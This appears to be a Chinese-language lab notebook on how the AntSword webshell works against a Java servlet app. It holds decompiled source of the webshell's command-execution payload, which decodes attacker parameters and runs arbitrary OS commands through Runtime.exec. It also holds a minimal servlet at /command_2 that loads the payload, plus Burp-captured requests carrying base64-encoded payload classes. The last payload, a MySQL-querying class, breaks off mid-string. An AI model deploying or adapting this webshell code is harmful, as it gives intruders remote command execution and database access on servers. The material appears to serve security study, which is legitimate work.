g07c2a077d46c6=asY2QgL2QgIkM6XFxVc2Vyc1xcSFdcXERvY3VtZW50c1xcSWRlYVByb2plY3RzXFxhbnRzd29yZFxcdGFyZ2V0XFxhbnRzd29yZC0xLjAtU05BUFNIT1QiJmlwY29uZmlnJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&hbb306df990adc=jg&mf73fdd400488c=YyY21k&passwd=yv66vgAAADMBaAoASgCYCQBzAJkJAHMAmgcAmwoABACcBwCdCgAEAJ4HAJ8KAEoAoAgAdAoARwChCgCiAKMKAKIApAgAdgcApQoADwCmCACnCQBzAKgIAKkJAHMAqggAqwkAcwCsBwCtCACuCgAXAK8IALAIALEIALIIALMIALQIALULAAgAtgsABgC3CwAIALcHALgKACMAmAsABgC5CgAjALoKACMAuwoAcwC8CgBzAL0KABcAvgoAcwC%2FCgAXALsLAAgAwAoAwQDCCADDCgAPALsIAMQKADMAxQcAxgoAMwDHCgAzAMgKAMkAygoAMwDLCADMCgAzAM0HAM4KADMAzwoAOgDQCgAzANEKADMA0goAIwDTCADUCgA6ANUIANYKADoA1wgA2AoARwDZCADaBwDbCgBHANwKAEcA3QcA3goA3wDgBwDhBwDiCADjCADkCACKCgBzAOUIAOYIAOcKAOgA6QcA6goAVQDrCADsCgAzAO0IAO4LAO8A8AsA7wDxCwDvAPILAPMA9AsA9QD2CwD1APcIAPgLAO8ApAoA%2BQD6CgD5APsKAPwA%2FQoAcwD%2BCgD8AP8IAQAKAOgBAQoAMwECCAEDCgAzAQQHAQUHAQYKAG0BBwoAbAEICgBsAQkIAQoKAGwBCwcBDAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcApQcBDAcA3gcArQcAxgEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwDOBwDiAQASRXhlY3V0ZUNvbW1hbmRDb2RlAQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAQ0HAQ4HAQ8BAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAMChMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjspVgcBBQcBEAwAfAB9DAB0AHUMAHYAdwEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DAERARIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAETARQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwBFQEWDAEXARgHARkMARoBGwwBHAEdAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBHgB9AQABMgwAewB5AQAGYmFzZTY0DAB4AHkBAARVVEY4DAB6AHkBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADAB8AR8BAAplYmI3OTVlOWZlAQAHMmUyYmVkZQEADm1mNzNmZGQ0MDA0ODhjAQAOZzA3YzJhMDc3ZDQ2YzYBAA5oYmIzMDZkZjk5MGFkYwEACXRleHQvaHRtbAwBIAEfDAEhAR8BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBIgCIDAEjASQMASUBJgwAigCIDACHAIgMASMBJwwAjQCODAEoASkHASoMASsBHwEACUVSUk9SOi8vIAEAA2hleAwAfwCAAQAQamF2YS9sYW5nL1N0cmluZwwBLAEtDAB8AS4HAS8MATABMQwBMgEzAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBNAEmAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MATUBNgwAfAE3DAE4ATkMAToBOwwBIwE8AQABLAwBPQE3AQAFVVRGLTgMASUAiAEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAT4BPwEADGRlY29kZUJ1ZmZlcgEAD2phdmEvbGFuZy9DbGFzcwwBQAFBDAFCAUMBABBqYXZhL2xhbmcvT2JqZWN0BwFEDAFFAUYBAAJbQgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAJIAkwEAAi1jAQACL2MHAUcMAUgBSQEAEWphdmEvdXRpbC9IYXNoTWFwDAB8AUoBABJcfFx8XHxhc2xpbmVcfFx8XHwMAUsBTAEAEVx8XHxcfGFza2V5XHxcfFx8BwEODAFNAU4MAU8BNgwBUAFRBwFSDAFTAVQHAQ8MAVUAkwwBVgFDAQABPQcBVwwBWAFZDAFaAVsHAVwMAV0BXgwAlACVDAFfAV4BAAdvcy5uYW1lDAFgAIgMAWEBJgEAA3dpbgwBYgFjAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAHwBZAwAfAFlDAFmASYBAAINCgwBZwB9AQAERXhlYwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA1qYXZhL3V0aWwvTWFwAQASamF2YS91dGlsL0l0ZXJhdG9yAQATamF2YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAxnZXRQYXJhbWV0ZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQAGZ2V0ZW52AQARKClMamF2YS91dGlsL01hcDsBABIoTGphdmEvdXRpbC9NYXA7KVYBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEc2l6ZQEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAARuZXh0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAOyhbTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOZ2V0RXJyb3JTdHJlYW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABWNsb3NlACEAcwBKAAAABQABAHQAdQAAAAEAdgB3AAAAAQB4AHkAAAABAHoAeQAAAAEAewB5AAAABwABAHwAfQABAH4AAAAbAAIAAQAAAA8qtwABKgG1AAIqAbUAA7EAAAAAAAEAfwCAAAEAfgAAAlwABQAMAAAB%2ByvBAASZACErwAAETSostgAFwAAGtQACKiy2AAfAAAi1AAOnAKwrwQAGmQBSKivAAAa1AAIqtAACtgAJEgq2AAtNLAS2AAwsKrQAArYADcAABk4ttgAJEg62AAs6BBkEBLYADCoZBC22AA3AAAi1AAOnAF5NLLYAEKcAVivBAAiZAE8qK8AACLUAAyq0AAO2AAkSDrYAC00sBLYADCwqtAADtgANwAAITi22AAkSCrYACzoEGQQEtgAMKhkELbYADcAABrUAAqcACE0stgAQKhIRtQASKhITtQAUKhIVtQAWuwAXWRIYtwAZTbsAF1kSGLcAGU4SGjoEEhs6BRIcOgYSHToHEh46CCq0AAMSH7kAIAIAKrQAAiq0ABa5ACECACq0AAMqtAAWuQAiAgAqKrsAI1m3ACQqtAACGQa5ACUCALYAJhIYtgAmtgAntgAotgApOgkqKrsAI1m3ACQqtAACGQe5ACUCALYAJhIYtgAmtgAntgAotgApOgoqKrsAI1m3ACQqtAACGQi5ACUCALYAJhIYtgAmtgAntgAotgApOgssGQS2ACpXLSoZCRkKGQu2ACu2ACpXLC22ACy2ACpXLBkFtgAqVyq0AAO5AC0BACy2ACy2AC6nACE6CS27ACNZtwAkEi%2B2ACYZCbYAMLYAJrYAJ7YAKlcErAADADQAcABzAA8AigDGAMkADwEIAdgB2wAPAAEAgQAAADcAByX3AE0HAIIH9wBNBwCCBP8BDAAJBwCDBwCEBwCFBwCFBwCGBwCGBwCGBwCGBwCGAAEHAIIdAAAAhwCIAAIAfgAAADMABAACAAAAHiq0ABQSMbYAMpkABSuwuwAzWSu2ADQqtAAWtwA1sAAAAAEAgQAAAAMAAQ4AiQAAAAQAAQAPAAAAigCIAAIAfgAAAboABgAHAAABSgM9KrQAErgANj0rHLYAN0ynAAZOAz0qtAAUEjG2ADKZAJgrxgAMKxIYtgAymQAGEhiwEjhOK7YAOUy7ADpZK7YAOwVstwA8OgQSGDoFAzYGFQYrtgA7ogBZuwAjWbcAJBkFtgAmLSsVBrYAPbYAPgd4LSsVBgRgtgA9tgA%2BgLYAPxJAtgAmtgAnOgUZBC0rFQa2AD22AD4HeC0rFQYEYLYAPbYAPoC2AEGEBgKn%2F6QZBBJCtgBDsCq0ABQSE7YAMpkAiAFOEkS4AEU6BBkEEkYEvQBHWQMTADNTtgBIGQS2AEkEvQBKWQMrU7YAS8AATMAATE6nAEk6BBJOuABFOgUZBRJPA70AR7YASAEDvQBKtgBLOgYZBrYACRJQBL0AR1kDEwAzU7YASBkGBL0ASlkDK1O2AEvAAEzAAExOuwAzWS0SQrcANbArsAACAAIAEAATAA8AxQD0APcATQABAIEAAABOAAr%2FABMAAwcAgwcAhgEAAQcAggIYAv8AHQAHBwCDBwCGAQcAhgcAiwcAhgEAAPoAXvgAB%2F8APwAEBwCDBwCGAQcATAABBwCM%2BwBF%2BgAKAIkAAAAEAAEADwAAAI0AjgACAH4AAAGEAAUADQAAAP%2B7ABdZEhi3ABk6BAa9ADNZAytTWQQqtgBRmgAIElKnAAUSU1NZBSxTOgW4AFQ6BrsAVVkZBrcAVjoHLRJXtgBYOggDNgkVCRkIvqIALBkIFQkyElm2AFg6ChkKvgWgABMZBxkKAzIZCgQyuQBaAwBXhAkBp%2F%2FSGQe5AFsBAL0AMzoJAzYKGQe5AFwBALkAXQEAOgsZC7kAXgEAmQA9GQu5AF8BAMAAMzoMGQkVCrsAI1m3ACQZDLYAJhJgtgAmGQcZDLkAYQIAwAAztgAmtgAnU4QKAaf%2Fv7gAYhkFGQm2AGM6CyoZC7YAZBkEtgBlKhkLtgBmGQS2AGUZBLYALLAAAAABAIEAAABzAAf%2FACEABQcAgwcAhgcAhgcAhgcAhQADBwCPBwCPAf8AAQAFBwCDBwCGBwCGBwCGBwCFAAQHAI8HAI8BBwCG%2FwAhAAoHAIMHAIYHAIYHAIYHAIUHAI8HAJAHAJAHAI8BAAAq%2BgAF%2FgAcBwCPAQcAkfoAQwCJAAAABAABAA8AAACSAJMAAQB%2BAAAAMgACAAIAAAAYEme4AGhMK7YAaUwrEmq2AGuZAAUErAOsAAAAAQCBAAAACAAB%2FAAWBwCGAAAAlACVAAIAfgAAAHEABgAFAAAAQLsAbFm7AG1ZKyq0ABa3AG63AG86BBkEtgBwWU7GAB4suwAjWbcAJC22ACYScbYAJrYAJ7YAKlen%2F94ZBLYAcrEAAAABAIEAAAAfAAL9ABUABwCW%2FwAkAAUHAIMHAJcHAIUHAIYHAJYAAACJAAAABAABAA8AAA%3D%3D
package com.example.antsword;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Exec {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Exec() {
}
public boolean equals(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
this.request = httpServletRequest;
this.response = httpServletResponse;
Field var4;
Field var15;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var14) {
var14.printStackTrace();
}
try {
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var16 = new StringBuffer("");
StringBuffer var18 = new StringBuffer("");
String var19 = "ebb795e9fe";
String var5 = "2e2bede";
String var6 = "mf73fdd400488c";
String var7 = "g07c2a077d46c6";
String var8 = "hbb306df990adc";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var9 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var10 = this.EC(this.decode(this.request.getParameter(var7) + ""));
String var11 = this.EC(this.decode(this.request.getParameter(var8) + ""));
var16.append(var19);
var18.append(this.ExecuteCommandCode(var9, var10, var11));
var16.append(var18.toString());
var16.append(var5);
this.response.getWriter().print(var16.toString());
} catch (Exception var12) {
var18.append("ERROR:// " + var12.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var9 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var9);
} catch (Exception var8) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
byte[] var10;
try {
Class var11 = Class.forName("sun.misc.BASE64Decoder");
var10 = (byte[]) ((byte[]) var11.getMethod("decodeBuffer", String.class).invoke(var11.newInstance(), var1));
} catch (ClassNotFoundException var7) {
Class var12 = Class.forName("java.util.Base64");
Object var13 = var12.getMethod("getDecoder").invoke((Object) null);
var10 = (byte[]) ((byte[]) var13.getClass().getMethod("decode", String.class).invoke(var13, var1));
}
return new String(var10, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for (int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String ExecuteCommandCode(String var1, String var2, String var3) throws Exception {
StringBuffer var4 = new StringBuffer("");
String[] var5 = new String[]{var1, !this.isWin() ? "-c" : "/c", var2};
Map var6 = System.getenv();
HashMap var7 = new HashMap(var6);
String[] var8 = var3.split("\\|\\|\\|asline\\|\\|\\|");
for (int var9 = 0; var9 < var8.length; ++var9) {
String[] var10 = var8[var9].split("\\|\\|\\|askey\\|\\|\\|");
if (var10.length == 2) {
var7.put(var10[0], var10[1]);
}
}
String[] var13 = new String[var7.size()];
int var14 = 0;
for (Iterator var11 = var7.keySet().iterator(); var11.hasNext(); ++var14) {
String var12 = (String) var11.next();
var13[var14] = var12 + "=" + (String) var7.get(var12);
}
Process var15 = Runtime.getRuntime().exec(var5, var13);
this.CopyInputStream(var15.getInputStream(), var4);
this.CopyInputStream(var15.getErrorStream(), var4);
return var4.toString();
}
boolean isWin() {
String var1 = System.getProperty("os.name");
var1 = var1.toLowerCase();
return var1.startsWith("win");
}
void CopyInputStream(InputStream var1, StringBuffer var2) throws Exception {
BufferedReader var4 = new BufferedReader(new InputStreamReader(var1, this.cs));
String var3;
while ((var3 = var4.readLine()) != null) {
var2.append(var3 + "\r\n");
}
var4.close();
}
}
package com.example.antsword;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
@WebServlet("/command_2")
public class command_2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
new Exec().equals(request, response);
}
}
数据库MySQL
连接
添加数据库MySQL
驱动坐标
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.6</version>
<scope>runtime</scope>
</dependency>
测试连接,burp suite抓包
POST /antsword/command_2 HTTP/1.1
Host: 192.168.11.1:8088
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7355
Connection: close
passwd=yv66vgAAADMBRAoATACHCQBlAIgJAGUAiQcAigoABACLBwCMCgAEAI0HAI4KAEwAjwgAZgoASgCQCgCRAJIKAJEAkwgAaAcAlAoADwCVCACWCQBlAJcIAJgJAGUAmQgAmgkAZQCbBwCcCACdCgAXAJ4IAJ8IAKAIAKEIAKIIAKMLAAgApAsABgClCwAIAKUHAKYKACIAhwsABgCnCgAiAKgKACIAqQoAZQCqCgBlAKsKABcArAoAZQCtCgAXAKkLAAgArgoArwCwCACxCgAPAKkIALIKADIAswcAtAoAMgC1CgAyALYKALcAuAoAMgC5CAC6CgAyALsHALwKADIAvQoAOQC%2BCgAyAL8KADIAwAoAIgDBCADCCgA5AMMIAMQKADkAxQgAxgoAxwDICADJCgAyAMoIAMsKAEoAzAgAzQcAzgoASgDPBwDQCgDRANIIAHwHANMIANQKAEoA1QoA1gDXCADYCgAyANkIANoIANsKADIA3AoAMgDdCADeCgDfAOALAOEA4gsA4wDkCwDlAOYLAOcA6AsA5wDpCwDlAOoLAOUA6wgA7AgA7QoAZQDuBwDvAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEADHJhbmRvbVByZWZpeAEABjxpbml0PgEAAygpVgEABENvZGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCUBwDvBwDQBwCcBwC0AQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHALwBAApleGVjdXRlU1FMAQBvKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1opTGphdmEvbGFuZy9TdHJpbmc7BwDwBwDxBwDyBwDzBwD0AQANc2hvd0RhdGFiYXNlcwEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABuAG8MAGYAZwwAaABpAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAPUA9gEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAPcA%2BAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAD5APoMAPsA%2FAcA%2FQwA%2FgD%2FDAEAAQEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAECAG8BAAEyDABtAGsBAAZiYXNlNjQMAGoAawEABFVURjgMAGwAawEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAG4BAwEACGE3NzA5OTk4AQAHY2Y0NzRjMQEADnJhY2U4YWE0N2IwNGMxAQAOeGJhYzM0MzI0NWFmYjYBAAl0ZXh0L2h0bWwMAQQBAwwBBQEDAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAQYAegwBBwEIDAEJAQoMAHwAegwAeQB6DAEHAQsMAIUAhgwBDAENBwEODAEPAQMBAAlFUlJPUjovLyABAANoZXgMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcMARABEQwAbgESBwETDAEUARUMARYBFwEAEDAxMjM0NTY3ODlBQkNERUYMARgBCgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAEZARoMAG4BGwwBHAEdDAEeAR8MAQcBIAEAASwMASEBGwEABVVURi04DAEJAHoBAAxqYXZhLnZlcnNpb24HASIMASMAegEAAzEuOQwBJAEVAQAQamF2YS51dGlsLkJhc2U2NAwBJQEmAQAKZ2V0RGVjb2RlcgEAD2phdmEvbGFuZy9DbGFzcwwBJwEoAQAQamF2YS9sYW5nL09iamVjdAcBKQwBKgErAQACW0IBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAEsAS0HAS4MAS8BMAEADGRlY29kZUJ1ZmZlcgwBMQEKAQACDQoBAAEKDAEyATMMATQBNQEAEyZjaGFyYWN0ZXJFbmNvZGluZz0HATYMATcBOAcA8QwBOQE6BwDyDAE7ATwHAPMMAT0BPgcA9AwBPwEaDAFAARcMAUEBQgwBQwEXAQAOc2hvdyBkYXRhYmFzZXMBAAEJDAB%2BAH8BAA5TaG93X2RhdGFiYXNlcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAGUATAAAAAUAAQBmAGcAAAABAGgAaQAAAAEAagBrAAAAAQBsAGsAAAABAG0AawAAAAYAAQBuAG8AAQBwAAAAGwACAA